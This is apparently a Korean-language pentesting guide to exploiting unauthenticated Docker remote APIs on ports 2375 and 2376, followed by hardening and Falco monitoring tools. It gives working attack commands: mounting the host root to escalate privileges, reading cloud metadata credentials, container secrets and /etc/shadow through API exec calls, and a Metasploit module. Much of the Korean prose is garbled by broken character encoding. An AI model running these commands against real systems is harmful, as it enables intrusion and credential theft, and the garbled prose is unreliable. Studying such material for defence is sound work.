# 2375, 2376 Pentesting Docker
{% hint style="success" %}
Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** ๐ฌ [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** ๐ฆ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
### Docker Basics
#### What is
Docker๋ **์ปจํ
์ด๋ํ ์ฐ์
**์ **์ต์ ์ ํ๋ซํผ**์ผ๋ก, **์ง์์ ์ธ ํ์ **์ ์ ๋ํฉ๋๋ค. ์ด๋ **์ ํต์ ์ธ ๊ฒ๋ถํฐ ๋ฏธ๋์ ์ธ ๊ฒ๊น์ง** ์ ํ๋ฆฌ์ผ์ด์
์ ์์ฌ์ด ์์ฑ ๋ฐ ๋ฐฐํฌ๋ฅผ ์ด์งํ๋ฉฐ, ๋ค์ํ ํ๊ฒฝ์์์ **์์ ํ ๋ฐฐํฌ**๋ฅผ ๋ณด์ฅํฉ๋๋ค.
#### Basic docker architecture
* [**containerd**](http://containerd.io): ์ด๋ **์ปจํ
์ด๋์ ๋ผ์ดํ์ฌ์ดํด**์ ํฌ๊ด์ ์ผ๋ก **๊ด๋ฆฌํ๋ ํต์ฌ ๋ฐํ์**์
๋๋ค. ์ฌ๊ธฐ์๋ **์ด๋ฏธ์ง ์ ์ก ๋ฐ ์ ์ฅ**์ ์ฒ๋ฆฌํ๊ณ , **์ปจํ
์ด๋์ ์คํ, ๋ชจ๋ํฐ๋ง ๋ฐ ๋คํธ์ํน**์ ๊ฐ๋
ํ๋ ๊ฒ์ด ํฌํจ๋ฉ๋๋ค. **containerd์ ๋ํ ๋ ์์ธํ ํต์ฐฐ**์ **์ถ๊ฐ์ ์ผ๋ก ํ๊ตฌ๋ฉ๋๋ค**.
* **container-shim**์ **ํค๋๋ฆฌ์ค ์ปจํ
์ด๋**๋ฅผ ์ฒ๋ฆฌํ๋ ๋ฐ ์์ด **์ค๊ฐ์**๋ก์ ์ค์ํ ์ญํ ์ ํ๋ฉฐ, ์ปจํ
์ด๋๊ฐ ์ด๊ธฐํ๋ ํ **runc**์์ ์ํํ๊ฒ ์ธ๊ณ๋ฐ์ต๋๋ค.
* [**runc**](http://runc.io): **๊ฒฝ๋ ๋ฐ ๋ฒ์ฉ ์ปจํ
์ด๋ ๋ฐํ์** ๊ธฐ๋ฅ์ผ๋ก ์ ๋ช
ํ runc๋ **OCI ํ์ค**์ ๋ง์ถฐ์ ธ ์์ต๋๋ค. ์ด๋ containerd์ ์ํด **OCI ์ง์นจ**์ ๋ฐ๋ผ **์ปจํ
์ด๋๋ฅผ ์์ํ๊ณ ๊ด๋ฆฌ**ํ๋ ๋ฐ ์ฌ์ฉ๋๋ฉฐ, ์๋์ **libcontainer**์์ ๋ฐ์ ํ์์ต๋๋ค.
* [**grpc**](http://www.grpc.io)๋ **containerd์ docker-engine** ๊ฐ์ **ํต์ ์ ์ด์งํ๋ ๋ฐ ํ์์ **์ด๋ฉฐ, **ํจ์จ์ ์ธ ์ํธ์์ฉ**์ ๋ณด์ฅํฉ๋๋ค.
* [**OCI**](https://www.opencontainers.org)๋ ๋ฐํ์ ๋ฐ ์ด๋ฏธ์ง์ ๋ํ **OCI ์ฌ์**์ ์ ์งํ๋ ๋ฐ ์ค์ํ ์ญํ ์ ํ๋ฉฐ, ์ต์ Docker ๋ฒ์ ์ **OCI ์ด๋ฏธ์ง ๋ฐ ๋ฐํ์** ํ์ค์ ๋ชจ๋ ์ค์ํฉ๋๋ค.
#### Basic commands
```bash
docker version #Get version of docker client, API, engine, containerd, runc, docker-init
docker info #Get more infomarion about docker settings
docker pull registry:5000/alpine #Download the image
docker inspect #Get info of the contaienr
docker network ls #List network info
docker exec -it /bin/sh #Get shell inside a container
docker commit registry:5000/name-container #Update container
docker export -o alpine.tar #Export container as tar file
docker save -o ubuntu.tar #Export an image
docker ps -a #List running and stopped containers
docker stop #Stop running container
docker rm #Remove container ID
docker image ls #List images
docker rmi #Remove image
docker system prune -a
#This will remove:
# - all stopped containers
# - all networks not used by at least one container
# - all images without at least one container associated to them
# - all build cache
```
#### Containerd
**Containerd**๋ **Docker์ Kubernetes**์ ๊ฐ์ ์ปจํ
์ด๋ ํ๋ซํผ์ ์๊ตฌ๋ฅผ ์ถฉ์กฑ์ํค๊ธฐ ์ํด ํน๋ณํ ๊ฐ๋ฐ๋์์ต๋๋ค. ์ด๋ Linux, Windows, Solaris ๋ฑ ๋ค์ํ ์ด์ ์ฒด์ ์์ **์ปจํ
์ด๋ ์คํ์ ๋จ์ํ**ํ๋ ๊ฒ์ ๋ชฉํ๋ก ํ๋ฉฐ, ์ด์ ์ฒด์ ๋ณ ๊ธฐ๋ฅ๊ณผ ์์คํ
ํธ์ถ์ ์ถ์ํํฉ๋๋ค. Containerd์ ๋ชฉํ๋ ์ฌ์ฉ์์๊ฒ ํ์ํ ํ์ ๊ธฐ๋ฅ๋ง ํฌํจํ๊ณ ๋ถํ์ํ ๊ตฌ์ฑ ์์๋ ์๋ตํ๋ ๊ฒ์
๋๋ค. ๊ทธ๋ฌ๋ ์ด ๋ชฉํ๋ฅผ ์์ ํ ๋ฌ์ฑํ๋ ๊ฒ์ ๋์ ์ ์ธ ๊ฒ์ผ๋ก ์ธ์ ๋ฉ๋๋ค.
์ฃผ์ ์ค๊ณ ๊ฒฐ์ ์ค ํ๋๋ **Containerd๊ฐ ๋คํธ์ํน์ ์ฒ๋ฆฌํ์ง ์๋๋ค๋ ๊ฒ์
๋๋ค**. ๋คํธ์ํน์ ๋ถ์ฐ ์์คํ
์์ ์ค์ํ ์์๋ก ๊ฐ์ฃผ๋๋ฉฐ, ์ํํธ์จ์ด ์ ์ ๋คํธ์ํน(SDN) ๋ฐ ์๋น์ค ๋ฐ๊ฒฌ๊ณผ ๊ฐ์ ๋ณต์ก์ฑ์ ํ๋ซํผ๋ง๋ค ํฌ๊ฒ ๋ค๋ฆ
๋๋ค. ๋ฐ๋ผ์ Containerd๋ ์ง์ํ๋ ํ๋ซํผ์ด ๋คํธ์ํน ์ธก๋ฉด์ ๊ด๋ฆฌํ๋๋ก ๋จ๊ฒจ๋ก๋๋ค.
**Docker๊ฐ Containerd๋ฅผ ์ฌ์ฉํ์ฌ** ์ปจํ
์ด๋๋ฅผ ์คํํ๋ ๋์, Containerd๋ Docker์ ๊ธฐ๋ฅ ์ค ์ผ๋ถ๋ง ์ง์ํ๋ค๋ ์ ์ ์ ์ํด์ผ ํฉ๋๋ค. ๊ตฌ์ฒด์ ์ผ๋ก, Containerd๋ Docker์ ์๋ ๋คํธ์ํฌ ๊ด๋ฆฌ ๊ธฐ๋ฅ์ด ์์ผ๋ฉฐ Docker ์ค์์ ์์ฑ์ ์ง์ ์ง์ํ์ง ์์ต๋๋ค. ์ด ๊ตฌ๋ถ์ Containerd๊ฐ ์ปจํ
์ด๋ ๋ฐํ์ ํ๊ฒฝ์ผ๋ก์์ ์ง์ค๋ ์ญํ ์ ๊ฐ์กฐํ๋ฉฐ, ํตํฉํ๋ ํ๋ซํผ์ ๋ ์ ๋ฌธํ๋ ๊ธฐ๋ฅ์ ์์ํฉ๋๋ค.
```bash
#Containerd CLI
ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image
ctr images list #List images
ctr container create registry:5000/alpine:latest alpine #Create container called alpine
ctr container list #List containers
ctr container info #Get container info
ctr task start #You are given a shell inside of it
ctr task list #Get status of containers
ctr tasks attach #Get shell in running container
ctr task pause #Stop container
ctr tasks resume #Resume cotainer
ctr task kill -s SIGKILL #Stop running container
ctr container delete
```
#### Podman
**Podman**์ Red Hat์์ ๊ฐ๋ฐํ๊ณ ์ ์ง ๊ด๋ฆฌํ๋ ์คํ ์์ค ์ปจํ
์ด๋ ์์ง์ผ๋ก, [Open Container Initiative (OCI) ํ์ค](https://github.com/opencontainers)์ ์ค์ํฉ๋๋ค. **๋ฐ๋ชฌ ์๋ ์ํคํ
์ฒ**์ **๋ฃจํธ ์๋ ์ปจํ
์ด๋** ์ง์ ๋ฑ ์ฌ๋ฌ ๊ฐ์ง ๋
ํนํ ๊ธฐ๋ฅ์ผ๋ก Docker์ ์ฐจ๋ณํ๋ฉ๋๋ค. ์ด๋ฅผ ํตํด ์ฌ์ฉ์๋ ๋ฃจํธ ๊ถํ ์์ด ์ปจํ
์ด๋๋ฅผ ์คํํ ์ ์์ต๋๋ค.
Podman์ Docker์ API์ ํธํ๋๋๋ก ์ค๊ณ๋์ด Docker CLI ๋ช
๋ น์ด๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค. ์ด ํธํ์ฑ์ ์ปจํ
์ด๋ ์ด๋ฏธ์ง ๋น๋๋ฅผ ์ํ **Buildah**์ ํธ์, ํ, ๊ฒ์ฌ์ ๊ฐ์ ์ด๋ฏธ์ง ์์
์ ์ํ **Skopeo**์ ๊ฐ์ ๋๊ตฌ๋ฅผ ํฌํจํ๋ ์ํ๊ณ๋ก ํ์ฅ๋ฉ๋๋ค. ์ด๋ฌํ ๋๊ตฌ์ ๋ํ ์์ธํ ๋ด์ฉ์ [GitHub ํ์ด์ง](https://github.com/containers/buildah/tree/master/docs/containertools)์์ ํ์ธํ ์ ์์ต๋๋ค.
**์ฃผ์ ์ฐจ์ด์ **
* **์ํคํ
์ฒ**: Docker์ ํด๋ผ์ด์ธํธ-์๋ฒ ๋ชจ๋ธ๊ณผ ๋ฐฑ๊ทธ๋ผ์ด๋ ๋ฐ๋ชฌ๊ณผ ๋ฌ๋ฆฌ, Podman์ ๋ฐ๋ชฌ ์์ด ์๋ํฉ๋๋ค. ์ด ์ค๊ณ๋ ์ปจํ
์ด๋๊ฐ ์์ํ ์ฌ์ฉ์์ ๊ถํ์ผ๋ก ์คํ๋๋ฏ๋ก ๋ฃจํธ ์ ๊ทผ์ด ํ์ ์์ด ๋ณด์์ ๊ฐํํฉ๋๋ค.
* **Systemd ํตํฉ**: Podman์ **systemd**์ ํตํฉ๋์ด ์ปจํ
์ด๋๋ฅผ ๊ด๋ฆฌํ๋ฉฐ, systemd ์ ๋์ ํตํด ์ปจํ
์ด๋ ๊ด๋ฆฌ๋ฅผ ๊ฐ๋ฅํ๊ฒ ํฉ๋๋ค. ์ด๋ Docker๊ฐ ์ฃผ๋ก Docker ๋ฐ๋ชฌ ํ๋ก์ธ์ค๋ฅผ ๊ด๋ฆฌํ๊ธฐ ์ํด systemd๋ฅผ ์ฌ์ฉํ๋ ๊ฒ๊ณผ ๋์กฐ์ ์
๋๋ค.
* **๋ฃจํธ ์๋ ์ปจํ
์ด๋**: Podman์ ์ค์ํ ๊ธฐ๋ฅ์ ์์ํ๋ ์ฌ์ฉ์์ ๊ถํ์ผ๋ก ์ปจํ
์ด๋๋ฅผ ์คํํ ์ ์๋ ๋ฅ๋ ฅ์
๋๋ค. ์ด ์ ๊ทผ ๋ฐฉ์์ ๊ณต๊ฒฉ์๊ฐ ๋ฃจํธ ์ ๊ทผ์ด ์๋ ์์๋ ์ฌ์ฉ์์ ๊ถํ๋ง ์ป๋๋ก ํ์ฌ ์ปจํ
์ด๋ ์นจํด์ ๊ด๋ จ๋ ์ํ์ ์ต์ํํฉ๋๋ค.
Podman์ ์ ๊ทผ ๋ฐฉ์์ ์ฌ์ฉ์ ๊ถํ ๊ด๋ฆฌ์ ๊ธฐ์กด Docker ์ํฌํ๋ก์ฐ์์ ํธํ์ฑ์ ๊ฐ์กฐํ๋ฉฐ Docker์ ๋ํ ์์ ํ๊ณ ์ ์ฐํ ๋์์ ์ ๊ณตํฉ๋๋ค.
{% hint style="info" %}
Podman์ด Docker์ ๋์ผํ API๋ฅผ ์ง์ํ๋ ๊ฒ์ ๋ชฉํ๋ก ํ๋ฏ๋ก, ๋ค์๊ณผ ๊ฐ์ Docker์ ๋์ผํ ๋ช
๋ น์ด๋ฅผ Podman์์๋ ์ฌ์ฉํ ์ ์์ต๋๋ค:
```bash
podman --version
podman info
pdoman images ls
podman ls
```
{% endhint %}
### ๊ธฐ๋ณธ ์ ๋ณด
Remote API๋ ํ์ฑํ๋๋ฉด ๊ธฐ๋ณธ์ ์ผ๋ก 2375 ํฌํธ์์ ์คํ๋ฉ๋๋ค. ๊ธฐ๋ณธ์ ์ผ๋ก ์ด ์๋น์ค๋ ์ธ์ฆ์ ์๊ตฌํ์ง ์์ผ๋ฉฐ, ๊ณต๊ฒฉ์๊ฐ ๊ถํ์ด ์๋ ๋์ปค ์ปจํ
์ด๋๋ฅผ ์์ํ ์ ์๊ฒ ํฉ๋๋ค. Remote API๋ฅผ ์ฌ์ฉํ๋ฉด ํธ์คํธ / (๋ฃจํธ ๋๋ ํ ๋ฆฌ)๋ฅผ ์ปจํ
์ด๋์ ์ฐ๊ฒฐํ๊ณ ํธ์คํธ ํ๊ฒฝ์ ํ์ผ์ ์ฝ๊ฑฐ๋ ์ธ ์ ์์ต๋๋ค.
**๊ธฐ๋ณธ ํฌํธ:** 2375
```
PORT STATE SERVICE
2375/tcp open docker
```
### Enumeration
#### Manual
docker API๋ฅผ ์ด๊ฑฐํ๊ธฐ ์ํด `docker` ๋ช
๋ น์ด ๋๋ `curl`์ ์ฌ์ฉํ ์ ์๋ค๋ ์ ์ ์ ์ํ์ธ์. ๋ค์ ์์ ๊ฐ์ด:
```bash
#Using curl
curl -s http://open.docker.socket:2375/version | jq #Get version
{"Platform":{"Name":"Docker Engine - Community"},"Components":[{"Name":"Engine","Version":"19.03.1","Details":{"ApiVersion":"1.40","Arch":"amd64","BuildTime":"2019-07-25T21:19:41.000000000+00:00","Experimental":"false","GitCommit":"74b1e89","GoVersion":"go1.12.5","KernelVersion":"5.0.0-20-generic","MinAPIVersion":"1.12","Os":"linux"}},{"Name":"containerd","Version":"1.2.6","Details":{"GitCommit":"894b81a4b802e4eb2a91d1ce216b8817763c29fb"}},{"Name":"runc","Version":"1.0.0-rc8","Details":{"GitCommit":"425e105d5a03fabd737a126ad93d62a9eeede87f"}},{"Name":"docker-init","Version":"0.18.0","Details":{"GitCommit":"fec3683"}}],"Version":"19.03.1","ApiVersion":"1.40","MinAPIVersion":"1.12","GitCommit":"74b1e89","GoVersion":"go1.12.5","Os":"linux","Arch":"amd64","KernelVersion":"5.0.0-20-generic","BuildTime":"2019-07-25T21:19:41.000000000+00:00"}
#Using docker
docker -H open.docker.socket:2375 version #Get version
Client: Docker Engine - Community
Version: 19.03.1
API version: 1.40
Go version: go1.12.5
Git commit: 74b1e89
Built: Thu Jul 25 21:21:05 2019
OS/Arch: linux/amd64
Experimental: false
Server: Docker Engine - Community
Engine:
Version: 19.03.1
API version: 1.40 (minimum version 1.12)
Go version: go1.12.5
Git commit: 74b1e89
Built: Thu Jul 25 21:19:41 2019
OS/Arch: linux/amd64
Experimental: false
containerd:
Version: 1.2.6
GitCommit: 894b81a4b802e4eb2a91d1ce216b8817763c29fb
runc:
Version: 1.0.0-rc8
GitCommit: 425e105d5a03fabd737a126ad93d62a9eeede87f
docker-init:
Version: 0.18.0
GitCommit: fec3683
```
์๊ฒฉ docker API์ **`docker` ๋ช
๋ น์ด๋ก ์ฐ๋ฝํ ์ ์๋ค๋ฉด**, ์๋น์ค์ ์ํธ์์ฉํ๊ธฐ ์ํด **์ด์ ์ ์ธ๊ธ๋** **docker** [**๋ช
๋ น์ด**](2375-pentesting-docker.md#basic-commands)๋ฅผ **์คํํ ์ ์์ต๋๋ค**.
{% hint style="info" %}
`export DOCKER_HOST="tcp://localhost:2375"`๋ฅผ ์ฌ์ฉํ์ฌ docker ๋ช
๋ น์ด์ ํจ๊ป `-H` ๋งค๊ฐ๋ณ์๋ฅผ **์ฌ์ฉํ์ง ์์ ์ ์์ต๋๋ค**.
{% endhint %}
**๋น ๋ฅธ ๊ถํ ์์น**
```bash
docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash
```
**Curl**
๊ฐ๋ **TLS** ์๋ํฌ์ธํธ์ **2376**์ด ์ด๋ ค ์๋ ๊ฒ์ ๋ณผ ์ ์์ต๋๋ค. ๋์ปค ํด๋ผ์ด์ธํธ๋ก๋ ์ฐ๊ฒฐํ ์ ์์์ง๋ง curl๋ก๋ ์ฐ๊ฒฐํ ์ ์์ต๋๋ค.
```bash
#List containers
curl โinsecure https://tlsopen.docker.socket:2376/containers/json | jq
#List processes inside a container
curl โinsecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq
#Set up and exec job to hit the metadata URL
curl โinsecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}'
#Get the output
curl โinsecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'
# list secrets (no secrets/swarm not set up)
curl -s โinsecure https://tlsopen.docker.socket:2376/secrets | jq
#Check what is mounted
curl โinsecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "mount"]}'
#Get the output by starting the exec
curl โinsecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/7fe5c7d9c2c56c2b2e6c6a1efe1c757a6da1cd045d9b328ea9512101f72e43aa/start -d '{}'
#Cat the mounted secret
curl โinsecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /run/secrets/registry-key.key"]}'
#List service (If you have secrets, itโs also worth checking out services in case they are adding secrets via environment variables)
curl -s โinsecure https://tls-opendocker.socket:2376/services | jq
#Creating a container that has mounted the host file system and read /etc/shadow
curl โinsecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket2376/containers/create?name=test -d '{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}'
curl โinsecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/start?name=test
curl โinsecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /mnt/etc/shadow"]}'
curl โinsecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/140e09471b157aa222a5c8783028524540ab5a55713cbfcb195e6d5e9d8079c6/start -d '{}'
#Stop the container
curl โinsecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/stop
#Delete stopped containers
curl โinsecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/prune
```
๋ ๋ง์ ์ ๋ณด๊ฐ ํ์ํ๋ฉด, ๋ด๊ฐ ๋ช
๋ น์ด๋ฅผ ๋ณต์ฌํ ๊ณณ์์ ๋ ๋ง์ ์ ๋ณด๋ฅผ ํ์ธํ ์ ์์ต๋๋ค: [https://securityboulevard.com/2019/02/abusing-docker-api-socket/](https://securityboulevard.com/2019/02/abusing-docker-api-socket/)
#### ์๋
```bash
msf> use exploit/linux/http/docker_daemon_tcp
nmap -sV --script "docker-*" -p
```
### Compromising
๋ค์ ํ์ด์ง์์๋ **๋์ปค ์ปจํ
์ด๋์์ ํ์ถํ๋ ๋ฐฉ๋ฒ**์ ์ฐพ์ ์ ์์ต๋๋ค:
{% content-ref url="../linux-hardening/privilege-escalation/docker-security/" %}
[docker-security](../linux-hardening/privilege-escalation/docker-security/)
{% endcontent-ref %}
์ด๋ฅผ ์
์ฉํ๋ฉด ์ปจํ
์ด๋์์ ํ์ถํ ์ ์์ผ๋ฉฐ, ์๊ฒฉ ๋จธ์ ์์ ์ฝํ ์ปจํ
์ด๋๋ฅผ ์คํํ๊ณ , ๊ทธ๋ก๋ถํฐ ํ์ถํ์ฌ ๋จธ์ ์ ํํํ ์ ์์ต๋๋ค:
```bash
docker -H :2375 run --rm -it --privileged --net=host -v /:/mnt alpine
cat /mnt/etc/shadow
```
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/Docker%20API%20RCE.py](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/Docker%20API%20RCE.py)
### ๊ถํ ์์น
docker๋ฅผ ์ฌ์ฉํ๋ ํธ์คํธ ๋ด๋ถ์ ์๋ ๊ฒฝ์ฐ, [**๊ถํ์ ์์น์ํค๊ธฐ ์ํด ์ด ์ ๋ณด๋ฅผ ์ฝ์ด๋ณด์ธ์**](../linux-hardening/privilege-escalation/#writable-docker-socket).
### ์คํ ์ค์ธ Docker ์ปจํ
์ด๋์์ ๋น๋ฐ ๋ฐ๊ฒฌํ๊ธฐ
```bash
docker ps [| grep ]
docker inspect
```
**env** (ํ๊ฒฝ ๋ณ์ ์น์
)์ ํ์ธํ์ฌ ๋น๋ฐ ์ ๋ณด๋ฅผ ์ฐพ์ผ๋ฉด ๋ค์๊ณผ ๊ฐ์ ํญ๋ชฉ์ ๋ฐ๊ฒฌํ ์ ์์ต๋๋ค:
* ๋น๋ฐ๋ฒํธ.
* IP.
* ํฌํธ.
* ๊ฒฝ๋ก.
* ๊ธฐํโฆ .
ํ์ผ์ ์ถ์ถํ๋ ค๋ฉด:
```bash
docker cp :/etc/
```
### Securing your Docker
#### Securing Docker installation and usage
* ํ์ฌ Docker ์ค์น๋ฅผ ๊ฒ์ฌํ๊ธฐ ์ํด ๋๊ตฌ [https://github.com/docker/docker-bench-security](https://github.com/docker/docker-bench-security)๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค.
* `./docker-bench-security.sh`
* ํ์ฌ Docker ์ค์น๋ฅผ ๊ฒ์ฌํ๊ธฐ ์ํด ๋๊ตฌ [https://github.com/kost/dockscan](https://github.com/kost/dockscan)์ ์ฌ์ฉํ ์ ์์ต๋๋ค.
* `dockscan -v unix:///var/run/docker.sock`
* ๋ค์ํ ๋ณด์ ์ต์
์ผ๋ก ์คํํ ๋ ์ปจํ
์ด๋๊ฐ ๊ฐ์ง ๊ถํ์ ๊ฒ์ฌํ๊ธฐ ์ํด ๋๊ตฌ [https://github.com/genuinetools/amicontained](https://github.com/genuinetools/amicontained)๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค. ์ด๋ ์ปจํ
์ด๋๋ฅผ ์คํํ๊ธฐ ์ํด ์ผ๋ถ ๋ณด์ ์ต์
์ ์ฌ์ฉํ ๋์ ์๋ฏธ๋ฅผ ์๋ ๋ฐ ์ ์ฉํฉ๋๋ค:
* `docker run --rm -it r.j3ss.co/amicontained`
* `docker run --rm -it --pid host r.j3ss.co/amicontained`
* `docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained`
#### Securing Docker Images
* ๋ค๋ฅธ Docker ์ด๋ฏธ์ง๋ฅผ ์ค์บํ๊ณ ์ทจ์ฝ์ ์ ์ฐพ๊ธฐ ์ํด [https://github.com/quay/clair](https://github.com/quay/clair)์ Docker ์ด๋ฏธ์ง๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค.
* `docker run --rm -v /root/clair_config/:/config -p 6060-6061:6060-6061 -d clair -config="/config/config.yaml"`
* `clair-scanner -c http://172.17.0.3:6060 --ip 172.17.0.1 ubuntu-image`
#### Securing Dockerfiles
* **Dockerfile์ ๊ฒ์ฌ**ํ๊ณ ๋ชจ๋ ์ข
๋ฅ์ ์๋ชป๋ ๊ตฌ์ฑ์ ์ฐพ๊ธฐ ์ํด ๋๊ตฌ [https://github.com/buddy-works/dockerfile-linter](https://github.com/buddy-works/dockerfile-linter)๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค. ๊ฐ ์๋ชป๋ ๊ตฌ์ฑ์๋ ID๊ฐ ๋ถ์ฌ๋๋ฉฐ, ์ด๋ฅผ ์์ ํ๋ ๋ฐฉ๋ฒ์ [https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md](https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md)์์ ํ์ธํ ์ ์์ต๋๋ค.
* `dockerfilelinter -f Dockerfile`
![](<../.gitbook/assets/image (176).png>)
* **Dockerfile์ ๊ฒ์ฌ**ํ๊ณ ๋ชจ๋ ์ข
๋ฅ์ ์๋ชป๋ ๊ตฌ์ฑ์ ์ฐพ๊ธฐ ์ํด ๋๊ตฌ [https://github.com/replicatedhq/dockerfilelint](https://github.com/replicatedhq/dockerfilelint)๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค.
* `dockerfilelint Dockerfile`
![](<../.gitbook/assets/image (212).png>)
* **Dockerfile์ ๊ฒ์ฌ**ํ๊ณ ๋ชจ๋ ์ข
๋ฅ์ ์๋ชป๋ ๊ตฌ์ฑ์ ์ฐพ๊ธฐ ์ํด ๋๊ตฌ [https://github.com/RedCoolBeans/dockerlint](https://github.com/RedCoolBeans/dockerlint)๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค.
* `dockerlint Dockerfile`
![](<../.gitbook/assets/image (71).png>)
* **Dockerfile์ ๊ฒ์ฌ**ํ๊ณ ๋ชจ๋ ์ข
๋ฅ์ ์๋ชป๋ ๊ตฌ์ฑ์ ์ฐพ๊ธฐ ์ํด ๋๊ตฌ [https://github.com/hadolint/hadolint](https://github.com/hadolint/hadolint)๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค.
* `hadolint Dockerfile`
![](<../.gitbook/assets/image (501).png>)
#### Logging Suspicious activity
* **์คํ ์ค์ธ ์ปจํ
์ด๋์์ ์์ฌ์ค๋ฌ์ด ํ๋์ ๊ฐ์ง**ํ๊ธฐ ์ํด ๋๊ตฌ [https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco)๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค.
* ๋ค์ ๋ถ๋ถ์์ **Falco๊ฐ ์ปค๋ ๋ชจ๋์ ์ปดํ์ผํ๊ณ ์ฝ์
ํ๋ ๋ฐฉ๋ฒ**์ ์ฃผ๋ชฉํ์ธ์. ๊ทธ ํ, ๊ท์น์ ๋ก๋ํ๊ณ **์์ฌ์ค๋ฌ์ด ํ๋์ ๊ธฐ๋กํ๊ธฐ ์์ํฉ๋๋ค**. ์ด ๊ฒฝ์ฐ, 2๊ฐ์ ํน๊ถ ์ปจํ
์ด๋๊ฐ ์์๋์๊ณ , ๊ทธ ์ค 1๊ฐ๋ ๋ฏผ๊ฐํ ๋ง์ดํธ๋ฅผ ๊ฐ์ง๊ณ ์์ผ๋ฉฐ, ๋ช ์ด ํ์ ํ๋์ ์ปจํ
์ด๋ ๋ด๋ถ์์ ์
ธ์ด ์ด๋ฆฌ๋ ๊ฒ์ ๊ฐ์งํ์ต๋๋ค.
```bash
docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco
* Setting up /usr/src links from host
* Unloading falco-probe, if present
* Running dkms install for falco
Kernel preparation unnecessary for this kernel. Skipping...
Building module:
cleaning build area......
make -j3 KERNELRELEASE=5.0.0-20-generic -C /lib/modules/5.0.0-20-generic/build M=/var/lib/dkms/falco/0.18.0/build.............
cleaning build area......
DKMS: build completed.
falco-probe.ko:
Running module version sanity check.
modinfo: ERROR: missing module or filename.
- Original module
- No original module exists within this kernel
- Installation
- Installing to /lib/modules/5.0.0-20-generic/kernel/extra/
mkdir: cannot create directory '/lib/modules/5.0.0-20-generic/kernel/extra': Read-only file system
cp: cannot create regular file '/lib/modules/5.0.0-20-generic/kernel/extra/falco-probe.ko': No such file or directory
depmod...
DKMS: install completed.
* Trying to load a dkms falco-probe, if present
falco-probe found and loaded in dkms
2021-01-04T12:03:20+0000: Falco initialized with configuration file /etc/falco/falco.yaml
2021-01-04T12:03:20+0000: Loading rules from file /etc/falco/falco_rules.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/falco_rules.local.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/k8s_audit_rules.yaml:
2021-01-04T12:03:24+0000: Starting internal webserver, listening on port 8765
2021-01-04T12:03:24.646959000+0000: Notice Privileged container started (user= command=container:db5dfd1b6a32 laughing_kowalevski (id=db5dfd1b6a32) image=ubuntu:18.04)
2021-01-04T12:03:24.664354000+0000: Notice Container with sensitive mount started (user= command=container:4822e8378c00 xenodochial_kepler (id=4822e8378c00) image=ubuntu:modified mounts=/:/host::true:rslave)
